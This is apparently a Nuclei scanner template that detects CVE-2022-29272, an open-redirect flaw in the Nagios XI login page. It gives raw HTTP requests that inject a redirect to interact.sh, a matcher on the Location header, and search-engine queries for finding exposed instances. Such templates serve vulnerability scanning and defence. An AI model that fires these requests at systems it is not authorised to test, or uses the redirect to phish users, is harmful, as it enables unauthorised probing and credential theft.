id: CVE-2022-29272

info:
  name: Nagios XI <5.8.5 - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade Nagios XI to version 5.8.5 or later to mitigate the vulnerability.
  reference:
    - https://github.com/sT0wn-nl/CVEs/tree/master/CVE-2022-29272
    - https://github.com/4LPH4-NL/CVEs
    - https://github.com/sT0wn-nl/CVEs/blob/master/README.md#nagios-xi
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29272
    - https://assets.nagios.com/downloads/nagiosxi/CHANGES-5.TXT
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29272
    cwe-id: CWE-601
    epss-score: 0.03348
    epss-percentile: 0.87105
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2022,redirect,nagios,nagiosxi,vuln

http:
  - raw:
      - |
        GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp_token}}&page=auth&debug=&pageopt=login&redirect=%2Fwww.interact.sh&username={{username}}&password={{password}}&loginButton=Login

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

    extractors:
      - type: regex
        name: nsp_token
        group: 1
        regex:
          - '<input type="hidden" name="nsp" value="(.*)">'
          - "<input type='hidden' name='nsp' value='(.*)'>"
        internal: true
        part: body
# digest: 4a0a004730450221008876c715cdef55f2aaa781a6b3697e5982fe51c1b6e8dafb72e9fe20eec123e70220372aff18b44427a57f1044be3aa156df49dae65b9c592471caa41b6c0a95c8a2:922c64590222798bb761d5b6d8e72950